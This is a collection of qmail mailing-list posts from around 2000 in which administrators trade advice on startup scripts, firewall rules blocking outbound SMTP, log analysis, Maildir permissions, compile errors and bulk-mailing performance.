Attached is the qmail script I use for qmail on my rh system. You'll have to edit the line in the pop3 startup for your server. This one runs qmail's maildir format, uses accustamp and cyclog for its logging, and smtp has included the things for smtp-after-pop relaying. So depending on your setup, you'll have to modify it some.. but this rc script is based on things from HOWTOs, submissions from the list, etc.. and is pretty complete for a standard smtp+pop3 setup without all the crazy virtual user add-ons, etc. -Steve -Original Message- From: Aaron Carr [mailto:[EMAIL PROTECTED]] Sent: Monday, January 08, 2001 10:38 PM To: [EMAIL PROTECTED] Subject: Startup Script Advise I've set up a qmail server on an RH 6.2 box. I have a startup script for qmail, what I'm looking for now is the most effective manner for starting up qmail-pop3d and qmail-smtpd using tcpserver. I've gone through tons and tons of docs, but what I'm curious about is- Is it most effective to have one script that starts both qmail-pop3d and qmail-smtpd, and how would that need to be written? Which one should be called first? Does that matter? Etc Or, should I have a separate startup script for each? I'm checking because lasts time I set this up, I believe I tried to have a script for each, but they didn't work together. Once qmail-pop3d started, qmail-smtpd didn't want to start up. It appeared to start fine, but when attempting to send mail, the session would time out as though there was no smtp daemon listening. Anyone seen this type of thing? In the near future, I'm going to enable webmail, but I want everything functioning at a basic level before I move on that direction. Any help anyone has would be super. Thank much. Aaron qmail.rc
Netscape Messaging Server -> qmail advice
I've been asked to migrate a mail server from Netscape to qmail, and I'd appreciate any advice on the subject. I also have searched this list archives, and they have been useful to a point, any realworld experience helps - I'll be transferring over 18,000 accounts to the new server. Also, would a single server be able to handle 18k accounts, or is that too much to ask of a single, fast Intel-based machine? I'm trying to keep it simple, because the eventual administrators of the server are MCSE's. One last question, for those with experience vpopmail, can it handle 18k+ users under a single domain? Steve.
smtproutes
Hi, I have a redhat 7 \ qmail installation. I want to use this as a smtp frontend to send all messages to our exchange server. I have set smtproutes to smtp:exchange. When I send a message it gets delivered locally to me using the procmail rc and when trying to use binmail rc nothing seems to happen (mail message gets logged in maillog - logged with procmail not logged with binmail ). Neither sends it to the exchange server. Everything seems to be working and I can telnet to smtp using either rc and compose a message and get a mail id when sent - it's just when sending it doesn't get forwarded. Any help Thanks, Stephen Hammond
"svscan is not running" error
I am running RH6.2 with all sorts of uscpi-tcp, supervise, daemontools, vmailmgr, qmail, courier-imap as shown in the HOW-TO installation page. Everything seems to be installed OK and courier-imap started OK too but when I try run any other qmail-xxx then the error "svscan is not running" occured. Can someone show me how to properly install and setup uscpi-tcp/unix/supervise/daemontools for these configurations. Thanks, Steve
Looking for a detailed qmail log analyzer .. preferably something pretty for the CEO.
I've been looking at some of the log file analzyers available, and I haven't yet found one that meets our needs without some additional programming - and I am lousy @ programming - so I've decided to throw the dice & ask you all, the venerable members of the qmail list. Basically, I am looking for an analyzer that can give me general statistics (daily, weekly, monthly), domain specific stats (d/w/m etc, how much mail sent out, sent in etc) and *user* specific stats - so I can catch spammers and other such wankers. I've looked at qlogtools, isoQlog etc, but they do not seem to go far enough. On top of that, I need something that would look pretty when I show the CEO of the company -- we all know how CEO's like pretty graphs. Something like the isoQlog program, with a touch of mrtg thrown in (yes, I know about the qmail-mrtg scripts - but they don't go far enough either). So, can anyone suggest anything? Steve.
RE: IPCHAINS and Qmail
At 08:47 AM 12/10/00 -0800, Phil Oester wrote: >Your output rule for port 25 is definitely the problem. Contrary to your >belief, it is filtering outbound traffic on eth0. Personally, I don't think >that's such a good idea - my firewall allows everything outbound, and only >filters inbound. Try changing your SMTP output rule to this: > >/sbin/ipchains -A output -j ACCEPT -i $EXTERNAL_INTERFACE -p tcp -s $IPADDR >25 -d 0.0.0.0/0 Thanks for the help. I tried it but unfortunately it's still blocking. Here's the /var/log/messages. It looks like the same error. I also tried removing the "! -y" in the original IPCHAINS arguments and that didn't help either. Dec 10 10:54:26 meg kernel: Packet log: output REJECT eth0 PROTO=6 166.84.147.124:1384 166.84.0.213:25 L=60 S=0x00 I=39172 F=0x T=64 SYN (#37) Dec 10 10:54:26 meg kernel: Packet log: output REJECT eth0 PROTO=6 166.84.147.124:1385 166.84.0.212:25 L=60 S=0x00 I=39174 F=0x T=64 SYN (#37) Dec 10 10:54:26 meg kernel: Packet log: output REJECT eth0 PROTO=6 166.84.147.124:1386 166.84.0.167:25 L=60 S=0x00 I=39176 F=0x T=64 SYN (#37) Dec 10 10:55:05 meg kernel: Packet log: output REJECT eth0 PROTO=6 166.84.147.124:1388 207.46.181.94:25 L=60 S=0x00 I=39197 F=0x T=64 SYN (#37) ---[ http://www.magpie.com ]---=o&>o--- Steve Manes Brooklyn, N'Yawk
Re: IPCHAINS and Qmail
At 01:31 AM 12/10/00 -0700, Sean Reifschneider wrote: >On Sun, Dec 10, 2000 at 02:51:24AM -0500, Steve Manes wrote: > >Dec 10 01:02:49 meg kernel: Packet log: output REJECT eth0 PROTO=6 > 166.84.147. > >124:3687 206.26.89.202:25 L=1064 S=0x00 I=46413 F=0x T=64 (#37) > >Dec 10 01:02:55 meg kernel: Packet log: output REJECT eth0 PROTO=6 > 166.84.147. > >124:4396 204.242.84.1:25 L=60 S=0x00 I=46421 F=0x T=64 SYN (#37) > > > >Any idea what's causing this? > >ipchains is blocking incoming connections to port 25/tcp. You know, the >e-mail port. I know what port 25 is and, no, it's not blocking incoming connections. It seems to be blocking outgoing connections. But if you look at the script you'll see that port 25 is open both ways: # SMTP server (25) # ipchains -A input -i $EXTERNAL_INTERFACE -p tcp \ --source-port $UNPRIVPORTS \ -d $IPADDR 25 -j ACCEPT ipchains -A output -i $EXTERNAL_INTERFACE -p tcp ! -y \ -s $IPADDR 25 \ --destination-port $UNPRIVPORTS -j ACCEPT In fact, the script doesn't firewall any outbound traffic in eth0, only input. That's why this is weird. The error log throws occasional mentions about "SYN" (above) so I wonder if it's a problem with that. > >The problematic firewall script is rather large (25k) so I've posted it on > >my web server at http://www.magpie.com/work/rc.firewall.html > >Yikes! 25KB?!? I have a hard time imagining it being a tenth the size >of that. Admittedly, it's huge but I didn't create it by hand. Nevertheless it's a very thorough script and well commented, and similarly-generated firewall scripts work very well on my other machines. It's only Qmail that seems to be having a problem with it. ---[ http://www.magpie.com ]---=o&>o--- Steve Manes Brooklyn, N'Yawk
IPCHAINS and Qmail
I installed 'ipchains' on my Redhat 7.0 mail server today. Not being a firewall guru, I had the www.linux-firewall-tools.com/linux/firewall/ site build me a script. I had pretty good luck with it on a web server but I've run into a problem with Qmail. As soon as I activate the firewall, mail gets backed up. /var/log/messages says: Dec 10 01:02:49 meg kernel: Packet log: output REJECT eth0 PROTO=6 166.84.147. 124:3687 206.26.89.202:25 L=1064 S=0x00 I=46413 F=0x T=64 (#37) Dec 10 01:02:55 meg kernel: Packet log: output REJECT eth0 PROTO=6 166.84.147. 124:4396 204.242.84.1:25 L=60 S=0x00 I=46421 F=0x T=64 SYN (#37) Any idea what's causing this? The problematic firewall script is rather large (25k) so I've posted it on my web server at http://www.magpie.com/work/rc.firewall.html ---[ http://www.magpie.com ]---=o&>o--- Steve Manes Brooklyn, N'Yawk
Re: Slackware
Here's that portion of my rc.local file (in /etc/rc.d) /usr/local/bin/tcpserver -v -R 0 pop3 /usr/local/qmail/bin/qmail-popup pop3.esotericsystems.org \ /bin/checkpassword /usr/local/qmail/bin/qmail-pop3d Maildir 2>&1 | \ /usr/local/qmail/bin/splogger pop3d & Works like a charm. Steve. - Original Message - From: "Luka Gerzic" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Cc: <[EMAIL PROTECTED]> Sent: Monday, November 20, 2000 7:31 AM Subject: Slackware > Does anyone have a slackware startup scripts for qmail w/ qmailpop3d (on > tcpserver)? > There are some problems when try to fix configure script given on lwq. > difference from RH is that slack have /etc/rc.d/ instead /etc/init.d/ > and also files rc. instead of rc.dX dir's. > > greetz > >
RE: [newbie question] IP logging?
If you setup qmail with tcpserver, accustamp, and cyclelog, as per the HOWTOs, you should be getting logging of qmail-pop3d connections in /var/log/qmail/qmail-pop3d -Steve -Original Message- From: Stefan Laudat [mailto:[EMAIL PROTECTED]] Sent: Sunday, November 19, 2000 7:36 AM To: [EMAIL PROTECTED] Subject: [newbie question] IP logging? How can I see the incoming IPs of my pop3 clients? Thanks! -- Stefan Laudat http://www.pepsicola.ro/~stefan --- Love is the triumph of imagination over intelligence. -- H. L. Mencken
Re: QMail & MRTG (Update).
I managed to solve my problems with Sean Truman's qmail-mrtg script and I thought I'd share it.. Simply, his script cannot read from the /var/log/qmail/current file because I was using SPLOGGER to dump it, via syslog, to /var/log/mail .. That simple. So .. if you want to use Sean Truman's script, make sure you are NOT using splogger! Just delete "splogger qmail" from the rc file.. and the appropriate info will be dumped to the /var/log/qmail/current file. Steve.
QMail & MRTG.
First, let me preface with saying I've played with the 2 Qmail/MRTG scripts I know of, read the (little) documentation for both, re-installed, jigged, prayed and even gone to the main MRTG site looking for anything that could help.. Nothing has. I even e-mailed Sean Truman (author of the latest QMail/MRTG script) to no avail. My problem is this: I can get reports on concurrency, but nothing else. When I run Truman's program manually on my logs, I only get back two zeroes - as if there was no calculation done at all. Funny thing is, there is a noticable delay as the program reads the log file. For example, to monitor throughput, I use the command line: `/usr/local/bin/qmail-mrtg -4 < /var/log/qmail/smtpd/current` As you can see, it points to my smtpd log. Yes, I noticed that in his original config it points to a log under /qmail-send/ instead of /smtpd/, but I don't have one. Any help would be appreciated -- even just to enlighten me further on qmail logs -- so maybe, just maybe, I'll write my own. Steve.
Where can I find CYCLOG?
I am having trouble finding CYCLOG... I've searched Freshmeat.net and come
up empty. If it comes with a particular package, which package? And if
(on the odd chance) I have already installed that package, where would I
find CYCLOG on the average system? Thanks.
Steve.
Re: Black hole for messages
try this: |cat /dev/null -steve On 09/22/00 @ 03:20PM, [EMAIL PROTECTED] wrote: > hi! > > I need to set up an alias that accept's messages and discard's them. > > I tried setting it to /dev/null but that didn't work (gave > Unable_to_write_/dev/null:_invalid_argument._(#4.3.0))... > > Does any body knows out to do this? > > It's urgent.. :/ please cc me privatly, so that I dont lose it in the list... > > -- > Pedro Melo Cunha - <[EMAIL PROTECTED]> > Novis - Dir. Rede - ISP - Infraes. Portal <http://www.novis.pt/> > Ed. Atrium Saldanha - Pça. Dq. Saldanha, 1 - 7º / 1050-094 Lisboa > tel: +351 21 0104340 - Fax: +351 21 0104301 > PGP signature
Re: qmail on little machines? (was part of linuxuser thread)
> > It's not hard to find an old Pentium that would be easier to set up to > > handle mail... =) Not only that, it's not hard to find someone with an unused machine with 32 megs or so in 72-pin SIMMS, so you could put a more reasonable amount of RAM into the mail server steve
RE: linuxpeople thread
Unfortunately you can't. "lusers" like you and me are spoiling it for
everyone.
We should get new MUAs. ("mail clients")
> I am using outlook express and will continue to do so
> throughout this ordeal so if its ruining the "web page"
> posting please tell me now so I can do it correctly.
RE: linuxpeople thread
... > qmail-local.c:1: sys/types.h: No such file or directory > qmail-local.c:2: sys/stat.h: No such file or directory > make: *** [qmail-local.o] Error 1 > [root@www qmail-1.03]# > > DARN!!! > > however, > > [root@www qmail-1.03]# locate types.h > /usr/include/security/_pam_types.h > /usr/i386-glibc21-linux/include/asm/kmap_types.h > /usr/i386-glibc21-linux/include/asm/posix_types.h > /usr/i386-glibc21-linux/include/asm/types.h > /usr/i386-glibc21-linux/include/bits/ioctl-types.h > /usr/i386-glibc21-linux/include/bits/pthreadtypes.h > /usr/i386-glibc21-linux/include/bits/types.h > /usr/i386-glibc21-linux/include/inttypes.h > /usr/i386-glibc21-linux/include/linux/posix_types.h > /usr/i386-glibc21-linux/include/linux/qnxtypes.h > /usr/i386-glibc21-linux/include/linux/sunrpc/types.h > /usr/i386-glibc21-linux/include/linux/types.h > /usr/i386-glibc21-linux/include/nl_types.h > /usr/i386-glibc21-linux/include/rpc/types.h > /usr/i386-glibc21-linux/include/sys/bitypes.h > /usr/i386-glibc21-linux/include/sys/types.h > [root@www qmail-1.03]# > > and > > [root@www qmail-1.03]# locate stat.h > /usr/i386-glibc21-linux/include/asm/stat.h > /usr/i386-glibc21-linux/include/bits/stat.h > /usr/i386-glibc21-linux/include/bits/ustat.h > /usr/i386-glibc21-linux/include/linux/kernel_stat.h > /usr/i386-glibc21-linux/include/linux/stat.h > /usr/i386-glibc21-linux/include/rpcsvc/rstat.h > /usr/i386-glibc21-linux/include/sys/stat.h > /usr/i386-glibc21-linux/include/sys/ustat.h > /usr/i386-glibc21-linux/include/ustat.h > [root@www qmail-1.03]# > > reveals that these files are indeed on the drive someplace. I get this: bash$ locate sys/types.h /usr/include/sys/types.h /usr/lib/bcc/include/sys/types.h /usr/i386-glibc20-linux/include/sys/types.h bash$ locate sys/stat.h /usr/include/sys/stat.h /usr/lib/bcc/include/sys/stat.h /usr/i386-glibc20-linux/include/sys/stat.h bash$ I reckon you've got a duff linux install. If /usr/include does not exist, try $ ln -s /usr/i386-glibc21-linux/include /usr/include if /usr/include does but /usr/include/sys doesn't, try $ ln -s /usr/i386-glibc21-linux/include/sys /usr/include/sys if _that_ exists too, try $ cp /usr/i386-glibc21-linux/include/sys/stat.h /usr/include/sys/ $ cp /usr/i386-glibc21-linux/include/sys/types.h /usr/include/sys/ This is what I'd do to get going and try qmail out, but I'd try to get to the bottom of why you don't have /usr/include/sys/types.h in the first place. What linux distribution are you using? > got verbally and mentally abused by the entire world for being > "so fscking like the GNU generation" or some such nonsense. Relax about that; the majority of folks on this list don't hold that poster's opinion, or if they do, they're a bit more patient...
Re: Spamming .....
> > Shhh, don't tell. If he's stupid enough to ask for advice, he might > > just be stupid enough to put his real email address in... > > I'll agree that asking about bulk mailing on this list is a little > suicidial, (especially since www.qmail.org/top.html talks about mailing > lists with ezmlm) but considering how many people don't speak English > natively on this list, I think it is a little rude to go insulting them for > their errors... We don't know what his situation is so we don't have the > right to call him 'stupid'. You're right, and I publicly apologize. Since he had misunderstood the meaning of "spamming", he isn't the sort of person I made him out to be. (However, had he understood the meaning of "spamming" and still asked for help, I would have stuck to my statement. : ) ) steve
RE: Spamming .....
> if you use your ISP's mail server to send unsolicited bulk or commercial email, > I have no doubt that they will cancel your service... just thought you might > want to know Shhh, don't tell. If he's stupid enough to ask for advice, he might just be stupid enough to put his real email address in... steve
Re: Maildir
> Im getting this error message with one of my domains How do I fix this.
> delivery 149: deferral: Unable_to_chdir_to_maildir._(#4.2.1)
Make sure that the Maildir is set up correctly - correct location,
ownership, and permissions. As a quick and dirty hack, try:
chown -R {user.group} ~{user}/Maildir
chmod -R 700 ~{user}/Maildir
steve
Re: Does Qmail support MUA on Win9x?
> Steve Wolfe <[EMAIL PROTECTED]> writes on 10 September 2000 at 18:52:00 -0600 > > > It seems that Qmail supports only Unix's MUA.I'm using win9x on my client PC,does it mean I can't use Qmail as my SMTP/POP3/IMAP server? > > > Thank you! > > > > qmail supports any MUA that adheres to the pop3 and smtp protocols, > > which includes a wide variety of Unix and Windows MUA's. > > Um, qmail as such doesn't support pop3; that's done with various > add-on packages. So a rock-bottom qmail install won't support pop3. Well, although a rock-bottom installation doesn't have pop3 support, qmail does include a pop3 server in the standard distrobution, so (at least in my mind) it can be said to support pop3. Your opinion may differ. ; ) steve
Re: Does Qmail support MUA on Win9x?
> It seems that Qmail supports only Unix's MUA.I'm using win9x on my client PC,does it >mean I can't use Qmail as my SMTP/POP3/IMAP server? > Thank you! qmail supports any MUA that adheres to the pop3 and smtp protocols, which includes a wide variety of Unix and Windows MUA's. steve
Re: deferral: Out_of_memory!
> >I think that when I write on .qmail of user "postal" a rediret like >this: >| /home/postal/bin/myanalyzerprogram >@400039ba4e95074dc234 starting delivery 16: msg 52966 to local [EMAIL PROTECTED] >@400039ba4e95074e00b4 status: local 1/10 remote 0/20 >@400039ba4e952260972c delivery 16: deferral: Out_of_memory!/ >@400039ba4e952260cddc status: local 0/10 remote 0/20 >Anybody can help me It sounds like your Perl program is either reaching the imposed memory limits, or if there are none, is exhausting the system memory. That's a very Bad Thing. ; ) steve
IGNORE Re: qmail-start: cannot start: unable to read controls
On Fri, 8 Sep 2000, Steve Lewis wrote: > from /var/log/messages: > Sep 8 11:47:49 mybox qmail: 968438869.011886 alert: cannot start: unable > to read controls please disregard, I recompiled on a hunch, and discovered an error that slipped by me last time: hard error Sorry, I couldn't find your host's canonical name in DNS. You will have to set up control/me yourself. which explains why the proper files were not created or found. I should be able to figure it out from here. --Steve
qmail-start: cannot start: unable to read controls
-installing on FreeBSD 4.1 RELEASE -installing qmail 1.03 from FreeBSD Ports collection -installed to /usr/local/qmail rather than to /var/qmail -copied /usr/local/qmail/boot/home to /usr/local/qmail/rc -in step 9 of PORT_NOTES (aka step 9 of INSTALL) it says to run # csh -cf '/var/qmail/rc &' so instead I run # csh -cf '/usr/local/qmail/rc &' looking at TEST.deliver I stop at step one... from /var/log/messages: Sep 8 11:47:49 mybox qmail: 968438869.011886 alert: cannot start: unable to read controls Searched the list archives, the FAQ and other docs and didn't find a good explanation of what it is looking for and not finding. FWIW hostname+domain for this machine does not resolve by DNS at this time because I am building the machine on my home LAN (behind NAT and a firewall) to secure it and test it before we put it out for the world to see. I don't know if that will cause a problem or not. This isn't alot of informaiton to go on, but I don't know what else to offer at this point. Can someone point me in the right direction here? please reply directly to my address, as I am not subscribed to the list anymore. --Steve
Re: Mass Mailout Performance Tips
> I seem to remember someone saying that RAID5 is exactly the wrong kind > of RAID for a mail queue. As I understand it, RAID5 does read of the > same sector(?) of all spindles, recalculates parity, then a write back > to all (only one?) spindles. This would be quite a write penalty if > the RAID controller honored fsync's. Well, I don't think it's exactly wrong, but you're right, it's not optimal. RAID5 is very fast for reads, but writes do have extra overhead. Raid 0 (simple striping, no redundancy) would be the best choice for a queue, provided that a disk failure (and hence a one-time loss of everything in the queue) wouldn't be a terribly bad thing. : ) steve
Re: bare LF - bizarre behaviour
> Oops, but that error message is from qmail--version 1.01 and earlier > if my memory serves. I'll bet djb decided it was too verbose and put > up a web page instead. AH! That explains it... thanks. Now I feel more comfortable that really screwy things aren't happening on that machine. (Well, at least not with mail, anyway) steve
Re: bare LF - bizarre behaviour
> > Well, I know *why* it's happening, I'm just wondering where the
message
> > comes from, as the qmail source doesn't appear to have it, and we're
> > certainly not running a second MUA on the machine. : )
> sorry about that, a quick grep on the source turns up
> qmail-smtpd.c line 50
>
> void straynewline() { out("451 See
http://pobox.com/~djb/docs/smtplf.html.\r\n"); flush(); _exit(1); }
>
> this would be the error you saw
That's just it - that's *not* the error that I saw. That's why I've been
scratching my head... I know for a fact that sendmail isn't running on the
machine maybe tomorrow I'll get time to dig around some more.
steve
Re: bare LF - bizarre behaviour
> > 1. Where could that be coming from? > i won't get into the crlf deal... Well, I know *why* it's happening, I'm just wondering where the message comes from, as the qmail source doesn't appear to have it, and we're certainly not running a second MUA on the machine. : ) > yes i had the same problem and to fix this i had wug send its message through > another mail server(other than our main server) and added the fixcrio to > the qmail-smtpd call. like so... > > exec /usr/local/bin/fixcrio /var/qmail/bin/qmail-smtpd > > (note, that is from a wrapper sript i saw somewhere but don't remember where) > there is no chance of fixing wug so this is the easy solution... Crap. Thanks for the info, though. steve
bare LF - bizarre behaviour
OK, this is bizarre. I was trying to get our network monitoring software (WhatsUp Gold) to send emails on less-critical systems instead of pages. However, it was not able to send email through our qmail server, and when I watched the debug out put, the program was getting: 451 Put ,E=\r\n at the end of Mether, Mtcp, or Msmtp in sendmail.cf if you are using Solaris 2.5 (fixed in 2.5.1). I cannot accept messages with stray newlines. Many SMTP servers will time out waiting for \r\n.\r\n. So, I thought I'd take a look in the qmail source and see where that was coming from - but that *isn't* in the qmail source. For a moment I worried that perhaps sendmail was running (shudder), but all occurences of SMTP in /etc/inetd.conf are commented out, and ps -aef | grep sendmail doesn't show a thing. Then, I thought that I *must* have screwed up and put in the wrong IP address, but I double-checked, and it's hitting the right server. So, my questions are: 1. Where could that be coming from? 2. Anybody had WhatsUp Gold work with qmail? steve
Re: Mass Mailout Performance Tips
> > We regularly send out newsletters to over 500,000 email address's on > > a weekly/fortnightly basis. (snip) > I can get about 50K emails per hour using 400 remotes. That would take 10 > hours with your list. The qmail queue size seems to stabilaze between 10K > and 15K during the run. There is usually between 300-400 remotes running. OK, first, please forgive me for jumping in. I see this sort of question occasionally, and it makes me wonder why so many steps were necessary. At one time, I had to send out just over a thousand messages to recipients across the Internet, and ran the Perl script (calling qmail's sendmail wrapper) on my lowly machine. It was a Celeron 450, with a 512k connection, an IDE drive, and concurencyremote/local set to 100. The Perl script finished within 30-45 seconds (I don't recall the actual time), and the queue had died down to ~10 undeliverables after just barely over a minute - which would be about 50,000 per hour, but without any real efforts to speed it up. So, it makes me wonder what the culprit is for persons trying to send many times that number of messages. Anybody want to enlighten this poor soul? It makes me wish I had a reason to send out that many again, so that I could experiment a little. > I am currently experimenting with bypassing qmail altogether. Using shared > memory I fork off 1000 child processes to chew on a list in parallel. Each > child will call qmail-inject only if its direct attempt fails. My testing > is still rough but it looks like I can get a 5 to 10 fold improvement. Nice! steve
RE: Monitoring Email
> That's not the only problem. If you take a look at > http://msgs.securepoint.com/qmail/ you'll find that the Steves and > Leslies of this world - in using software that simply is not > meant to be used outside an asylum - also wreck archives: the threading is > totally fscked up there.. I've just about had it with this list. The > software is great but the amount of whining Mircosoft lusers is becoming > unacceptable. Bummer. You need to re-read Revelation 13. You know that we must all receive the mark of the Beast eventually. Meantime, while I am compelled to use this client software, with all its satanic perversities, would anyone care to explain what precisely M$Outlook does wrong to break the threading? Are there settings I can change to make it more list-friendly? Or am I just taking the fallout of some excess angst? I would love to talk power-dynamics, metaphysics, personality types, religion and Bill some more but it's off topic here.
